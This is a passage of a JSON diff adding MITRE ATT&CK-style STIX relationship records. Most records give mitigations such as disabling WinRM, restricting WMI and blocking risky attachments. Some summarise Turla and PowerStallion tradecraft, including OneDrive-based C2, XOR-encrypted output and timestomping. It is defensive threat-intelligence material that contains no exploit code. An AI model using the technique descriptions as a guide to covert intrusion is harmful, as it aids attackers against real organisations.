"relationship--ad2efb21-6884-422f-8e89-fc0b1d2dcbb0", + "description": "[Turla](https://attack.mitre.org/groups/G0010) RPC backdoors can collect files from USB thumb drives.(Citation: ESET Turla PowerShell May 2019)(Citation: Symantec Waterbug Jun 2019)", + "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", + "modified": "2019-07-14T21:04:45.412Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-20T20:53:17.550Z", + "external_references": [ + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). 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Retrieved July 8, 2019.", + "source_name": "Symantec Waterbug Jun 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--af393cd2-2a5a-41f8-a1b1-218f30beb4dd", + "description": "If msxsl.exe is unnecessary, then block its execution to prevent abuse by adversaries.", + "target_ref": "attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3", + "modified": "2021-02-09T15:07:01.031Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-21T12:06:48.737Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b0bb68cb-2dae-4012-b5fb-3e369dce0be0", + "description": "If the service is necessary, lock down critical enclaves with separate WinRM infrastructure and follow WinRM best practices on use of host firewalls to restrict WinRM access to allow communication only to/from specific devices. (Citation: NSA Spotting)", + "target_ref": "attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39", + "modified": "2020-02-11T18:30:21.136Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-21T13:29:36.121Z", + "external_references": [ + { + "url": "https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm", + "description": "National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. Retrieved September 6, 2018.", + "source_name": "NSA Spotting" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--08b93e63-6485-47fe-bc22-7d744fa700b9", + "description": "Disable the WinRM service.", + "target_ref": "attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39", + "modified": "2020-02-11T18:30:21.137Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-21T13:29:36.123Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b587cc06-ea28-4c8c-ba52-152adb70d26d", + "description": "By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI.", + "target_ref": "attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4", + "modified": "2020-01-24T14:08:23.366Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-21T13:45:51.496Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--891beff4-a458-4571-8ad9-8b080305a5cf", + "description": "Prevent credential overlap across systems of administrator and privileged accounts. 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Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d5c70727-794c-4404-b30d-0d798a62ad64", + "description": "Network intrusion detection and prevention systems that use network signatures may be able to prevent traffic to remote access services.", + "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", + "modified": "2020-06-20T20:42:37.456Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-21T15:13:50.808Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1ddae833-8280-4afa-b2b0-e250e22104fe", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.(Citation: University of Birmingham C2)", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "modified": "2020-03-20T15:42:48.751Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-21T15:15:19.160Z", + "external_references": [ + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--19f35c88-92c4-4e98-b024-be9f6731bdb5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "modified": "2020-03-26T20:18:27.821Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-21T15:16:29.301Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0304cc00-ec86-4b08-8e30-e771adf0d7f5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "modified": "2020-03-21T00:43:01.584Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-21T15:17:19.158Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b2a42d95-fc64-4e6f-95d9-7b24334bccd4", + "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "modified": "2020-10-21T19:41:49.600Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-21T15:19:09.776Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--418bde38-35eb-44bc-a454-ad7d2918bda5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "modified": "2020-10-21T19:41:49.644Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-21T15:19:09.796Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--de274a43-282a-46e2-9191-7f1acec2e6e4", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "modified": "2020-03-14T18:19:53.343Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-21T15:21:42.942Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--89887815-acfc-42f9-9172-81437cf9ff69", + "description": "Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "modified": "2021-10-18T17:40:50.130Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-21T16:21:55.301Z", + "external_references": [ + { + "source_name": "TechNet Credential Theft", + "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx" + }, + { + "source_name": "TechNet Least Privilege", + "description": "Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn487450.aspx" + }, + { + "source_name": "Microsoft Securing Privileged Access", + "description": "Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.", + "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4f24d075-4d6c-49d2-a213-306e4af2083d", + "description": "Applications and appliances that utilize default username and password should be changed immediately after the installation, and before deployment to a production environment. (Citation: US-CERT Alert TA13-175A Risks of Default Passwords on the Internet) When possible, applications that use SSH keys should be updated periodically and properly secured.", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "modified": "2021-10-18T17:40:50.196Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-21T16:21:55.304Z", + "external_references": [ + { + "source_name": "US-CERT Alert TA13-175A Risks of Default Passwords on the Internet", + "description": "US-CERT. (n.d.). Risks of Default Passwords on the Internet. Retrieved April 12, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA13-175A" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1d1525e6-74f2-447d-ba11-9e9c9c552403", + "description": "Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events.", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "modified": "2021-07-21T23:28:55.556Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-21T16:28:45.435Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--66551074-a1e3-439c-a996-c1f7ca8136e2", + "description": "If a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious files.", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "modified": "2021-07-21T23:28:55.550Z", + "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-21T16:28:45.461Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--225ab1b4-f800-4a92-9949-a0f05fce6213", + "description": "Application control may be able to prevent the running of executables masquerading as other files.", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "modified": "2021-07-21T23:28:55.544Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-21T16:28:45.465Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8e567361-e2de-4dc6-b953-ec82dc143f58", + "description": "If a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity.", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "modified": "2021-07-21T23:28:55.553Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-21T16:28:45.467Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--96213379-cdf0-4ee0-8f0c-a9c0d5ffca7e", + "description": "Remove smart cards when not in use.", + "target_ref": "attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49", + "modified": "2020-03-25T20:35:22.664Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-21T16:38:58.266Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a42398e2-3daa-452a-80f8-f06660328f18", + "description": "Properly manage accounts and permissions used by parties in trusted relationships to minimize potential abuse by the party and if the party is compromised by an adversary.", + "target_ref": "attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925", + "modified": "2020-11-16T17:37:45.697Z", + "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-21T16:45:15.046Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f0e9a1f7-8600-4558-9d2e-91126c42b126", + "description": "Network segmentation can be used to isolate infrastructure components that do not require broad network access.", + "target_ref": "attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925", + "modified": "2020-11-16T17:37:45.741Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-21T16:45:15.071Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8c0286e0-036d-4282-9e54-6938c958b7e9", + "description": "Certain developer utilities should be blocked or restricted if not required.", + "target_ref": "attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b", + "modified": "2020-06-20T22:43:41.446Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-21T16:52:53.737Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f4e83a18-a2bf-45af-aa6b-18f72646d8b6", + "description": "Specific developer utilities may not be necessary within a given environment and should be removed if not used.", + "target_ref": "attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b", + "modified": "2020-06-20T22:43:41.455Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-21T16:52:53.740Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--11ea144c-253e-4f68-bb2c-1f942cba6b54", + "description": "[PowerStallion](https://attack.mitre.org/software/S0393) uses a XOR cipher to encrypt command output written to its OneDrive C2 server.(Citation: ESET Turla PowerShell May 2019)", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2019-07-14T21:02:01.442Z", + "source_ref": "malware--dcac85c1-6485-4790-84f6-de5e6f6b91dd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-21T17:23:27.993Z", + "external_references": [ + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--033a5e59-ab65-485b-a9c0-775977e8abd0", + "description": "[PowerStallion](https://attack.mitre.org/software/S0393) uses Microsoft OneDrive as a C2 server via a network drive mapped with net use.(Citation: ESET Turla PowerShell May 2019)", + "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", + "modified": "2020-03-20T21:24:24.092Z", + "source_ref": "malware--dcac85c1-6485-4790-84f6-de5e6f6b91dd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-21T17:23:28.006Z", + "external_references": [ + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--63dc6102-8405-4273-8e73-7df7ef6c2514", + "description": "[PowerStallion](https://attack.mitre.org/software/S0393) modifies the MAC times of its local log files to match that of the victim's desktop.ini file.(Citation: ESET Turla PowerShell May 2019)", + "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", + "modified": "2019-07-14T21:02:01.433Z", + "source_ref": "malware--dcac85c1-6485-4790-84f6-de5e6f6b91dd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-21T17:23:28.014Z", + "external_references": [ + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--76428147-d359-4568-a1a2-7cc3da632da4", + "description": "(Citation: ESET Turla PowerShell May 2019)", + "target_ref": "malware--dcac85c1-6485-4790-84f6-de5e6f6b91dd", + "modified": "2019-07-14T21:04:45.844Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-21T17:24:21.655Z", + "external_references": [ + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. 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(Citation: TechNet Applocker vs SRP)", + "target_ref": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c", + "modified": "2021-10-17T14:12:33.391Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-21T17:38:45.822Z", + "external_references": [ + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--772089d3-b06e-4e5e-993b-1351f71484e7", + "description": "[PowerStallion](https://attack.mitre.org/software/S0393) has been used to monitor process lists.(Citation: ESET Turla PowerShell May 2019)", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "modified": "2019-07-14T21:02:01.439Z", + "source_ref": "malware--dcac85c1-6485-4790-84f6-de5e6f6b91dd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-21T18:03:31.624Z", + "external_references": [ + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. 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"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fa977c5a-8fde-4511-998c-954c946c6cd0", + "description": "Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected.", + "target_ref": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb", + "modified": "2020-02-25T19:00:52.432Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T11:01:58.843Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9244439a-5c10-4645-b71d-97bf602cb509", + "description": "Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)", + "target_ref": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb", + "modified": "2020-02-25T19:00:52.442Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T11:01:58.844Z", + "external_references": [ + { + "source_name": "Symantec SSH and ssh-agent", + "description": "Hatch, B. (2004, November 22). SSH and ssh-agent. Retrieved January 8, 2018.", + "url": "https://www.symantec.com/connect/articles/ssh-and-ssh-agent" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f1883831-ea71-4e27-ab6a-aa10a7fd7df4", + "description": "Users can be trained to identify social engineering techniques and spearphishing emails with malicious links.", + "target_ref": "attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847", + "modified": "2020-03-02T19:30:53.663Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T11:09:56.500Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b5c8909c-3fe2-4dbf-bf8a-c620ddfe2bed", + "description": "Determine if certain social media sites, personal webmail services, or other service that can be used for spearphishing is necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.", + "target_ref": "attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847", + "modified": "2020-03-02T19:30:53.665Z", + "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T11:09:56.517Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a408e9fc-44fb-4563-a86f-2eb17ff0832d", + "description": "Anti-virus can also automatically quarantine suspicious files.", + "target_ref": "attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847", + "modified": "2020-03-02T19:30:53.666Z", + "source_ref": "course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T11:09:56.519Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--93669ebc-ea8d-4f76-94c8-4f8d1679b123", + "description": "Users can be trained to identify social engineering techniques and spearphishing emails with malicious links.", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "modified": "2020-03-02T19:21:35.312Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T11:11:18.378Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ce68b332-ac44-472e-81b9-6cffe7ff11a2", + "description": "Users can be trained to identify social engineering techniques and spearphishing emails.", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "modified": "2020-03-02T19:08:18.066Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T11:14:20.465Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--87b35c42-a798-461b-a58e-2e2d9ea45354", + "description": "Block unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "modified": "2020-03-02T19:08:18.063Z", + "source_ref": 